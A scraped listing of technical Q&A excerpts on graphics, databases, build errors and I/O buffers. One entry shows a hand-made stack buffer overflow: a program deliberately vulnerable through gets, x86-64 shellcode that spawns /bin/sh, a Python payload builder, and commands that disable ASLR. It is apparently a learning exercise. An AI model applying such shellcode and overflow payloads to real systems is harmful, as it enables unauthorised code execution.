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  • How to merge your referenced assemblies into the output assembly for improved usability

    - by Daniel Cazzulino
    Something we've been doing in moq since the very beginning is to have a single assembly as output: Moq.dll. This reduces the clutter for users and lets them focus on what they need from our library, rather than getting the noise of whatever third-party (or internal) libraries we use to implement it. This is good from the deployment point of view too, and if all your libraries are actually internal infrastructure assemblies, you can even make them all internal types of your output assembly....Read full article

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  • Automatically change Sound Input Output device

    - by Senthil Kumaran
    I have to plugin my USB Audio adapter ( 4300054 Gigawire USB Audio Adapter) for audio input because has a combo-input-output port for voice. After I do this, I have go open Sound Settings and manually select the USB Audio adapter for Input and Output, if I do not, the system default remains selected. Is there anyway, I can make Ubuntu to automatically select the USB Audio Adapter as the default as soon as I plug-in?

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  • Why are my scene's depth values not being written to my DepthStencilView?

    - by dotminic
    I'm rendering to a depth map in order to use it as a shader resource view, but when I sample the depth map in my shader, the red component has a value of 1 while all other channels have a value of 0. The Texture2D I use to create the DepthStencilView is bound with the D3D11_BIND_DEPTH_STENCIL | D3D11_BIND_SHADER_RESOURCE flags, the DepthStencilView has the DXGI_FORMAT_D32_FLOAT format, and the ShaderResourceView's format is D3D11_SRV_DIMENSION_TEXTURE2D. I'm setting the depth map render target, then i'm drawing my scene, and once that is done, I'm the back buffer render target and depth stencil are set on the output merger, and I'm using the depth map shader resource view as a texture in my shader, but the depth value in the red channel is constantly 1. I'm not getting any runtime errors from D3D, and no compile time warning or anything. I'm not sure what I'm missing here at all. I have the impression the depth value is always being set to 1. I have not set any depth/stencil states, and AFAICT depth writing is enabled by default. The geometry is being rendered correctly so I'm pretty sure depth writing is enabled. The device is created with the appropriate debug flags; #if defined(DEBUG) || defined(_DEBUG) deviceFlags |= D3D11_CREATE_DEVICE_DEBUG | D3D11_RLDO_DETAIL; #endif This is how I create my depth map. I've omitted error checking for the sake of brevity D3D11_TEXTURE2D_DESC td; td.Width = width; td.Height = height; td.MipLevels = 1; td.ArraySize = 1; td.Format = DXGI_FORMAT_R32_TYPELESS; td.SampleDesc.Count = 1; td.SampleDesc.Quality = 0; td.Usage = D3D11_USAGE_DEFAULT; td.BindFlags = D3D11_BIND_DEPTH_STENCIL | D3D11_BIND_SHADER_RESOURCE; td.CPUAccessFlags = 0; td.MiscFlags = 0; _device->CreateTexture2D(&texDesc, 0, &this->_depthMap); D3D11_DEPTH_STENCIL_VIEW_DESC dsvd; ZeroMemory(&dsvd, sizeof(dsvd)); dsvd.Format = DXGI_FORMAT_D32_FLOAT; dsvd.ViewDimension = D3D11_DSV_DIMENSION_TEXTURE2D; dsvd.Texture2D.MipSlice = 0; _device->CreateDepthStencilView(this->_depthMap, &dsvd, &this->_dmapDSV); D3D11_SHADER_RESOURCE_VIEW_DESC srvd; srvd.Format = DXGI_FORMAT_R32_FLOAT; srvd.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D; srvd.Texture2D.MipLevels = texDesc.MipLevels; srvd.Texture2D.MostDetailedMip = 0; _device->CreateShaderResourceView(this->_depthMap, &srvd, &this->_dmapSRV);

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  • Making diff output more readable

    - by mgunes
    I'm looking for a tool that will take diff / debdiff output (and more specifically, the output of this script) and display the result of the comparison in a highly readable, graphical way. Any pointers would be appreciated. Ideally, it would be the GTK+, FOSS equivalent of MDR. Meld, Diffuse and similar software are not fit for this purpose, since they're intended to work standalone, and don't take input from stdin.

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  • Why distant objects draw in front of close objects?

    - by cad
    I am rendering two cubes in the space using XNA 4.0 and the layering of objects only works from certain angles. Here is what I see from the front angle (everything ok) Here is what I see from behind This is my draw method. Cubes are drawn by serverManager and serverManager1 protected override void Draw(GameTime gameTime) { GraphicsDevice.Clear(Color.CornflowerBlue); switch (_gameStateFSM.State) { case GameFSMState.GameStateFSM.INTROSCREEN: spriteBatch.Begin(); introscreen.Draw(spriteBatch); spriteBatch.End(); break; case GameFSMState.GameStateFSM.GAME: spriteBatch.Begin(SpriteSortMode.Deferred, BlendState.AlphaBlend); // Text screenMessagesManager.Draw(spriteBatch, firstPersonCamera.cameraPosition, fpsHelper.framesPerSecond); // Camera firstPersonCamera.Draw(); // Servers serverManager.Draw(GraphicsDevice, firstPersonCamera.viewMatrix, firstPersonCamera.projMatrix); serverManager1.Draw(GraphicsDevice, firstPersonCamera.viewMatrix, firstPersonCamera.projMatrix); // Room //roomManager.Draw(GraphicsDevice, firstPersonCamera.viewMatrix); spriteBatch.End(); break; case GameFSMState.GameStateFSM.EXITGAME: break; default: break; } base.Draw(gameTime); fpsHelper.IncrementFrameCounter(); } serverManager and serverManager1 are instances of the same class ServerManager that draws a cube. The draw method for ServerManager is: public void Draw(GraphicsDevice graphicsDevice, Matrix viewMatrix, Matrix projectionMatrix) { cubeEffect.World = Matrix.CreateTranslation(modelPosition); // Set the World matrix which defines the position of the cube cubeEffect.View = viewMatrix; // Set the View matrix which defines the camera and what it's looking at cubeEffect.Projection = projectionMatrix; // Enable textures on the Cube Effect. this is necessary to texture the model cubeEffect.TextureEnabled = true; cubeEffect.Texture = cubeTexture; // Enable some pretty lights cubeEffect.EnableDefaultLighting(); // apply the effect and render the cube foreach (EffectPass pass in cubeEffect.CurrentTechnique.Passes) { pass.Apply(); cubeToDraw.RenderToDevice(graphicsDevice); } } Obviously there is something I am doing wrong. Any hint of where to look? (Maybe z-buffer or occlusion tests?)

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • How to read LARGE Sqlite file to be copied into Android emulator, or device from assets folder?

    - by Peter SHINe ???
    I guess many people already read this article: Using your own SQLite database in Android applications: http://www.reigndesign.com/blog/using-your-own-sqlite-database-in-android-applications/comment-page-2/#comment-12368 However it's keep bringing IOException at while ((length = myInput.read(buffer))>0){ myOutput.write(buffer, 0, length); } I’am trying to use a large DB file. It’s as big as 8MB I built it using sqlite3 in Mac OS X, inserted UTF-8 encoded strings (for I am using Korean), added android_meta table with ko_KR as locale, as instructed above. However, When I debug, it keeps showing IOException at length=myInput.read(buffer) I suspect it’s caused by trying to read a big file. If not, I have no clue why. I tested the same code using much smaller text file, and it worked fine. Can anyone help me out on this? I’ve searched many places, but no place gave me the clear answer, or good solution. Good meaning efficient or easy. I will try use BufferedInput(Output)Stream, but if the simpler one cannot work, I don’t think this will work either. Can anyone explain the fundamental limits in file input/output in Android, and the right way around it, possibly? I will really appreciate anyone’s considerate answer. Thank you. WITH MORE DETAIL: private void copyDataBase() throws IOException{ //Open your local db as the input stream InputStream myInput = myContext.getAssets().open(DB_NAME); // Path to the just created empty db String outFileName = DB_PATH + DB_NAME; //Open the empty db as the output stream OutputStream myOutput = new FileOutputStream(outFileName); //transfer bytes from the inputfile to the outputfile byte[] buffer = new byte[1024]; int length; while ((length = myInput.read(buffer))>0){ myOutput.write(buffer, 0, length); } //Close the streams myOutput.flush(); myOutput.close(); myInput.close(); }

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  • What is the proper way to code a read-while loop in Scala?

    - by ARKBAN
    What is the "proper" of writing the standard read-while loop in Scala? By proper I mean written in a Scala-like way as opposed to a Java-like way. Here is the code I have in Java: MessageDigest md = MessageDigest.getInstance( "MD5" ); InputStream input = new FileInputStream( "file" ); byte[] buffer = new byte[1024]; int readLen; while( ( readLen = input.read( buffer ) ) != -1 ) md.update( buffer, 0, readLen ); return md.digest(); Here is the code I have in Scala: val md = MessageDigest.getInstance( hashInfo.algorithm ) val input = new FileInputStream( "file" ) val buffer = new Array[ Byte ]( 1024 ) var readLen = 0 while( readLen != -1 ) { readLen = input.read( buffer ) if( readLen != -1 ) md.update( buffer, 0, readLen ) } md.digest The Scala code is correct and works, but feels very un-Scala-ish. For one it is a literal translation of the Java code, taking advantage of none of the advantages of Scala. Further it is actually longer than the Java code! I really feel like I'm missing something, but I can't figure out what. I'm fairly new to Scala, and so I'm asking the question to avoid falling into the pitfall of writing Java-style code in Scala. I'm more interested in the Scala way to solve this kind of problem than in any specific helper method that might be provided by the Scala API to hash a file. (I apologize in advance for my ad hoc Scala adjectives throughout this question.)

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  • OpenGL 3.0+ framebuffer to texture/images

    - by user827992
    I need a way to capture what is rendered on screen, i have read about glReadPixels but it looks really slow. Can you suggest a more efficient or just an alternative way for just copying what is rendered by OpenGL 3.0+ to the local RAM and in general to output this in a image or in a data stream? How i can achieve the same goal with OpenGL ES 2.0 ? EDIT: i just forgot: with this OpenGL functions how i can be sure that I'm actually reading a complete frame, meaning that there is no overlapping between 2 frames or any nasty side effect I'm actually reading the frame that comes right next to the previous one so i do not lose frames

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  • High Sqlservr.exe Memory Usage

    - by user18576
    I have a problem with sqlservr.exe (version 2008). It use a more memory. I checked on windows taskbar manager, sqlservr.exe usage ( Mem usage - 8GB Ram). I dont know how can I fix it.Got the following metrics of the server using Perfmon: SQLServer:Buffer Manager Buffer cache hit ratio 13 SQLServer:Buffer Manager Page lookups/sec 46026128096 SQLServer:Buffer Manager Free pages 129295 SQLServer:Buffer Manager Total pages 997309 SQLServer:Buffer Manager Target pages 1053560 SQLServer:Buffer Manager Database pages 484117 SQLServer:Buffer Manager Reserved pages 0 SQLServer:Buffer Manager Stolen pages 383897 SQLServer:Buffer Manager Lazy writes/sec 384369 SQLServer:Buffer Manager Readahead pages/sec 69315446 SQLServer:Buffer Manager Page reads/sec 71280353 SQLServer:Buffer Manager Page writes/sec 12408371 SQLServer:Buffer Manager Checkpoint pages/sec 7053801 SQLServer:Buffer Manager Page life expectancy 735262 SQLServer:General Statistics Active Temp Tables 161 SQLServer:General Statistics Temp Tables Creation Rate 3131845 SQLServer:General Statistics Logins/sec 2336011 SQLServer:General Statistics Logouts/sec 2335984 SQLServer:General Statistics User Connections 27 SQLServer:General Statistics Transactions 0 SQLServer:Access Methods Full Scans/sec 34422821 SQLServer:Access Methods Range Scans/sec 2027247756 SQLServer:Access Methods Workfiles Created/sec 49771600 SQLServer:Access Methods Worktables Created/sec 28205828 SQLServer:Access Methods Index Searches/sec 4890715219 SQLServer:Access Methods FreeSpace Scans/sec 21178928 SQLServer:Access Methods FreeSpace Page Fetches/sec 21226653 SQLServer:Access Methods Pages Allocated/sec 41483279 SQLServer:Access Methods Extents Allocated/sec 4743504 SQLServer:Access Methods Extent Deallocations/sec 4806606 SQLServer:Access Methods Page Deallocations/sec 41419137 SQLServer:Access Methods Page Splits/sec 23834799 SQLServer:Memory Manager SQL Cache Memory (KB) 29160 SQLServer:Memory Manager Target Server Memory (KB) 8428480 SQLServer:Memory Manager Total Server Memory (KB) 7978472 Some body could help me please.And I really want to know the cause for the above.

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  • Turning a log file into a sort of circular buffer

    - by pachanga
    Folks, is there a *nix solution which would make the log file act as a circular buffer? For example, I'd like log files to store maximum 1Gb of data and discard the older entries once the limit is reached. Is it possible at all? I believe in order to achieve that a log file should be turned into some sort of special device... P.S. I'm aware of misc logrotating tools but this is not what I need. Logrotating requires lots of IO, happens usually once a day while I need a "runtime" solution.

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  • Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host

    - by Paul J. Warner
    I am having an issue with a program where after 6 mins +- 5 secs we get the above exception. Some more info about the exception stacktrace is below. This all happens pretty religiously, 6 mins goes by and bam the following 3 exeptions. We have the application installed in 2 other environments and it is working fine there. I am hoping to find some server settings either IIS 6 or Server 2003 settings that may be causing this issue to occur. I have reviewed some of the similar questions and don't see very many answers. I am hoping that maybe the information I have provided may help a little bit. 208741,Exception,,,,2011-06-21 00:30:14.193,SERVERNAME,2624,1,CLIENTNAME,The underlying connection was closed: An unexpected error occurred on a receive. , at System.Web.Services.Protocols.WebClientProtocol.GetWebResponse(WebRequest request) at System.Web.Services.Protocols.HttpWebClientProtocol.GetWebResponse(WebRequest request) at Microsoft.Web.Services3.WebServicesClientProtocol.GetResponse(WebRequest request, IAsyncResult result) at System.Web.Services.Protocols.SoapHttpClientProtocol.Invoke(String methodName, Object[] parameters) at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208742,Exception,,,,2011-06-21 00:30:14.227,SERVERNAME,2624,1,CLIENTNAME,Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208743,Exception,,,,2011-06-21 00:30:14.287,SERVERNAME,2624,1,CLIENTNAME,An existing connection was forcibly closed by the remote host , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size),-691097507,62,1

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  • PHP output buffer settings ignored by server

    - by Ecom Evolution
    I have been trying to flush the output of certain scripts to the browser on demand, but they do not work on our production server. For instance, I tried running the "Phoca Changing Collation tool" (find it on Google) and I don't see any output until the script finishes executing. I've tried immediately flushing the buffer on other scripts that work fine on any server but this one using the following code: echo "something"; ob_flush(); flush(); Setting "ob_implicit_flush(1);" doesn't help either. The server is Apache 2.2.21 with PHP 5.2.17 running on Linux. You can see our php.ini file here if that will help: http://www.smallfiles.org/download/1123/php.ini.html This isn't the only problem we are having with the server ignoring in-script directives. The server also ignores timeout coding such as: ini_set('max_execution_time', 900*60); AND set_time_limit(86400); Script always times out at the php.ini default. Doesn't seem to matter if script is executed in IE or Firefox. Tried "ini_set('zlib.output_compression_level', 'Off');" and checked that it is "Off" in the php.ini file. The code "apache_setenv('no-gzip', 1);" causes a fatal error so tried uploading a .htaccess file with the "mod_gzip_on No" directive. Neither helps. Tried running Apache as fcgi and suphp, but same results. Server is NOT in safe mode. Pullin ma hair out!

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  • Innodb : cannot allocate the memory for the buffer pool

    - by mingyeow
    My innodb keeps crashing. This is the error message below. Does anyone know why this keeps happening? InnoDB: by InnoDB 49201616 bytes. Operating system errno: 12 InnoDB: Check if you should increase the swap file or InnoDB: ulimits of your operating system. InnoDB: On FreeBSD check you have compiled the OS with InnoDB: a big enough maximum process size. InnoDB: Note that in most 32-bit computers the process InnoDB: memory space is limited to 2 GB or 4 GB. InnoDB: We keep retrying the allocation for 60 seconds... 0 processes alive and '/usr/bin/mysqladmin --defaults-file=/etc/mysql/debian.cnf ping' resulted in /usr/bin/mysqladmin: connect to server at 'localhost' failed error: 'Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)' Check that mysqld is running and that the socket: '/var/run/mysqld/mysqld.sock' exists! InnoDB: Fatal error: cannot allocate the memory for the buffer pool [ERROR] Default storage engine (InnoDB) is not available

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  • Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.

    - by Paul J. Warner
    I am having an issue with a program where after 6 mins +- 5 secs we get the above exception. Some more info about the exception stacktrace is below. This all happens pretty religiously, 6 mins goes by and bam the following 3 exeptions. We have the application installed in 2 other environments and it is working fine there. I am hoping to find some server settings either IIS 6 or Server 2003 settings that may be causing this issue to occur. I have reviewed some of the similar questions and don't see very many answers. I am hoping that maybe the information I have provided may help a little bit. 208741,Exception,,,,2011-06-21 00:30:14.193,SERVERNAME,2624,1,CLIENTNAME,The underlying connection was closed: An unexpected error occurred on a receive. , at System.Web.Services.Protocols.WebClientProtocol.GetWebResponse(WebRequest request) at System.Web.Services.Protocols.HttpWebClientProtocol.GetWebResponse(WebRequest request) at Microsoft.Web.Services3.WebServicesClientProtocol.GetResponse(WebRequest request, IAsyncResult result) at System.Web.Services.Protocols.SoapHttpClientProtocol.Invoke(String methodName, Object[] parameters) at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208742,Exception,,,,2011-06-21 00:30:14.227,SERVERNAME,2624,1,CLIENTNAME,Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208743,Exception,,,,2011-06-21 00:30:14.287,SERVERNAME,2624,1,CLIENTNAME,An existing connection was forcibly closed by the remote host , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size),-691097507,62,1

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  • Installing vim7.2 on Solaris Sparc 2.6 as non-root

    - by Tobbe
    I'm trying to install vim to $HOME/bin by compiling the sources. ./configure --prefix=$home/bin seems to work, but when running make I get: > make Starting make in the src directory. If there are problems, cd to the src directory and run make there cd src && make first gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/openwin/include -I/usr/sfw/include -I/usr/sfw/include/freetype2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -g -O2 -I/usr/openwin/include -o objects/buffer.o buffer.c In file included from buffer.c:28: vim.h:41: error: syntax error before ':' token In file included from os_unix.h:29, from vim.h:245, from buffer.c:28: /usr/include/sys/stat.h:251: error: syntax error before "blksize_t" /usr/include/sys/stat.h:255: error: syntax error before '}' token /usr/include/sys/stat.h:309: error: syntax error before "blksize_t" /usr/include/sys/stat.h:310: error: conflicting types for 'st_blocks' /usr/include/sys/stat.h:252: error: previous declaration of 'st_blocks' was here /usr/include/sys/stat.h:313: error: syntax error before '}' token In file included from /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:132, from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/sys/siginfo.h:259: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:292: error: syntax error before '}' token /usr/include/sys/siginfo.h:294: error: syntax error before '}' token /usr/include/sys/siginfo.h:390: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:398: error: conflicting types for '__fault' /usr/include/sys/siginfo.h:267: error: previous declaration of '__fault' was here /usr/include/sys/siginfo.h:404: error: conflicting types for '__file' /usr/include/sys/siginfo.h:273: error: previous declaration of '__file' was here /usr/include/sys/siginfo.h:420: error: conflicting types for '__prof' /usr/include/sys/siginfo.h:287: error: previous declaration of '__prof' was here /usr/include/sys/siginfo.h:424: error: conflicting types for '__rctl' /usr/include/sys/siginfo.h:291: error: previous declaration of '__rctl' was here /usr/include/sys/siginfo.h:426: error: syntax error before '}' token /usr/include/sys/siginfo.h:428: error: syntax error before '}' token /usr/include/sys/siginfo.h:432: error: syntax error before "k_siginfo_t" /usr/include/sys/siginfo.h:437: error: syntax error before '}' token In file included from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:173: error: syntax error before "siginfo_t" In file included from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/signal.h:111: error: syntax error before "siginfo_t" /usr/include/signal.h:113: error: syntax error before "siginfo_t" buffer.c: In function `buflist_new': buffer.c:1502: error: storage size of 'st' isn't known buffer.c: In function `buflist_findname': buffer.c:1989: error: storage size of 'st' isn't known buffer.c: In function `setfname': buffer.c:2578: error: storage size of 'st' isn't known buffer.c: In function `otherfile_buf': buffer.c:2836: error: storage size of 'st' isn't known buffer.c: In function `buf_setino': buffer.c:2874: error: storage size of 'st' isn't known buffer.c: In function `buf_same_ino': buffer.c:2894: error: dereferencing pointer to incomplete type buffer.c:2895: error: dereferencing pointer to incomplete type *** Error code 1 make: Fatal error: Command failed for target `objects/buffer.o' Current working directory /home/xluntor/vim72/src *** Error code 1 make: Fatal error: Command failed for target `first' How do I fix the make errors? Or is there another way to install vim as non-root? Thanks in advance

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  • Installing vim7 on Solaris Sparc 2.6 as non-root

    - by Tobbe
    I'm trying to install vim to $HOME/bin by compiling the sources. ./configure --prefix=$home/bin seems to work, but when running make I get: > make Starting make in the src directory. If there are problems, cd to the src directory and run make there cd src && make first gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/openwin/include -I/usr/sfw/include -I/usr/sfw/include/freetype2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -g -O2 -I/usr/openwin/include -o objects/buffer.o buffer.c In file included from buffer.c:28: vim.h:41: error: syntax error before ':' token In file included from os_unix.h:29, from vim.h:245, from buffer.c:28: /usr/include/sys/stat.h:251: error: syntax error before "blksize_t" /usr/include/sys/stat.h:255: error: syntax error before '}' token /usr/include/sys/stat.h:309: error: syntax error before "blksize_t" /usr/include/sys/stat.h:310: error: conflicting types for 'st_blocks' /usr/include/sys/stat.h:252: error: previous declaration of 'st_blocks' was here /usr/include/sys/stat.h:313: error: syntax error before '}' token In file included from /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:132, from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/sys/siginfo.h:259: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:292: error: syntax error before '}' token /usr/include/sys/siginfo.h:294: error: syntax error before '}' token /usr/include/sys/siginfo.h:390: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:398: error: conflicting types for '__fault' /usr/include/sys/siginfo.h:267: error: previous declaration of '__fault' was here /usr/include/sys/siginfo.h:404: error: conflicting types for '__file' /usr/include/sys/siginfo.h:273: error: previous declaration of '__file' was here /usr/include/sys/siginfo.h:420: error: conflicting types for '__prof' /usr/include/sys/siginfo.h:287: error: previous declaration of '__prof' was here /usr/include/sys/siginfo.h:424: error: conflicting types for '__rctl' /usr/include/sys/siginfo.h:291: error: previous declaration of '__rctl' was here /usr/include/sys/siginfo.h:426: error: syntax error before '}' token /usr/include/sys/siginfo.h:428: error: syntax error before '}' token /usr/include/sys/siginfo.h:432: error: syntax error before "k_siginfo_t" /usr/include/sys/siginfo.h:437: error: syntax error before '}' token In file included from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:173: error: syntax error before "siginfo_t" In file included from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/signal.h:111: error: syntax error before "siginfo_t" /usr/include/signal.h:113: error: syntax error before "siginfo_t" buffer.c: In function `buflist_new': buffer.c:1502: error: storage size of 'st' isn't known buffer.c: In function `buflist_findname': buffer.c:1989: error: storage size of 'st' isn't known buffer.c: In function `setfname': buffer.c:2578: error: storage size of 'st' isn't known buffer.c: In function `otherfile_buf': buffer.c:2836: error: storage size of 'st' isn't known buffer.c: In function `buf_setino': buffer.c:2874: error: storage size of 'st' isn't known buffer.c: In function `buf_same_ino': buffer.c:2894: error: dereferencing pointer to incomplete type buffer.c:2895: error: dereferencing pointer to incomplete type *** Error code 1 make: Fatal error: Command failed for target `objects/buffer.o' Current working directory /home/xluntor/vim72/src *** Error code 1 make: Fatal error: Command failed for target `first' How do I fix the make errors? Or is there another way to install vim as non-root? Thanks in advance

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  • Notepad++ setting to clear the undo buffer on save

    - by J Jones
    Hello, I've noticed that Notepad++ is clearing the undo buffer when I save a file. This just started happening when I updated the editor to version 5.6.8. (previous version was pretty old... 5.3.? perhaps...) I've seen one reference out there (look at last bullet of answer) that this might be a setting I can change. But for the life of me, I can't find it. Anyone familiar with this?

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  • MySQL maintenance - how to clear the buffer?

    - by Dougal
    We have a server running our web app (PHP / MySQL) which is SLOW. My predecessor says that: "We use to do database maintenance, which use to clear the buffer, cached and unwanted variables." And I wonder what on earth he means with that statement? Does he mean a simple optimize of the tables? Or the query cache? I understand MySQL but don't really know what he is describing. I would appreciate any pointers. Thanks.

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  • ext4 loopback device, Buffer I/O Error on reboot

    - by cvb
    I am trying to mount a loopback device on my ext4 formatted ssd drive. I get these errors when I reboot on Linux kernel 2.6.38.8 Buffer I/O error on device loop1, logical block 0 Here is what I do: dd if=/dev/zero of=/mnt/s/lodev bs=4096 count=250000 mkfs.ext4 /mnt/s/lodev mount -n -o loop,rw /mnt/s/lodev /mnt/test The loopback mount is successful, but on reboot I get errors as mentioned above. Even mouting with 'sync','data=writeback' does not help. I tried to losetup a device, but see the same behavior. I also reformatted the base device and created the loopback device and mounted as above, I still see these errors. I do not see them when I format them as vfat. Appreciate any suggestions on this problem.

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  • SQL SERVER – Fix: Error: Compatibility Level Drop Down is Empty

    - by Pinal Dave
    I currently have SQL Server 2012 and SQL Server 2014 both installed on the same machine. My job requires me to travel a lot and I like to travel light. Hence, I have only one computer with all the software installed in it. I can install Virtual Machines but as I was able to install SQL Server 2012 and SQL Server 2014 side by side, I just went ahead with that option. Now one day when I opened up my SQL Server 2014 and went to the properties of the my database, I realized that the dropdown box for Compatibility level is empty. I just can’t select anything there or see what is the current Compatibility level of the database. This was the first time for me so I was bit confused and I tried to search online. Upon searching online I realize that if I was not the first, there are very few questions on this subject on various forums as well as there is no convincing answer to this problem online. That means, I was pretty much first one to face this error. See the image of the situation I was facing. Now I decided to resolve this issue as soon as I can. I spent a few minutes here and there and realize my mistake. I had connected to SQL Server 2014 instance from SQL Server 2012 Management Studio. Hence, I was not able to see any compatibility related settings. Once I connected to SQL Server 2014 instance with SQL Server 2014 Management Studio – this issue was resolved. Well, simple things sometimes keep us very busy. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: PostADay, SQL, SQL Authority, SQL Error Messages, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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  • Best approach to depth streaming via existing codec

    - by Kevin
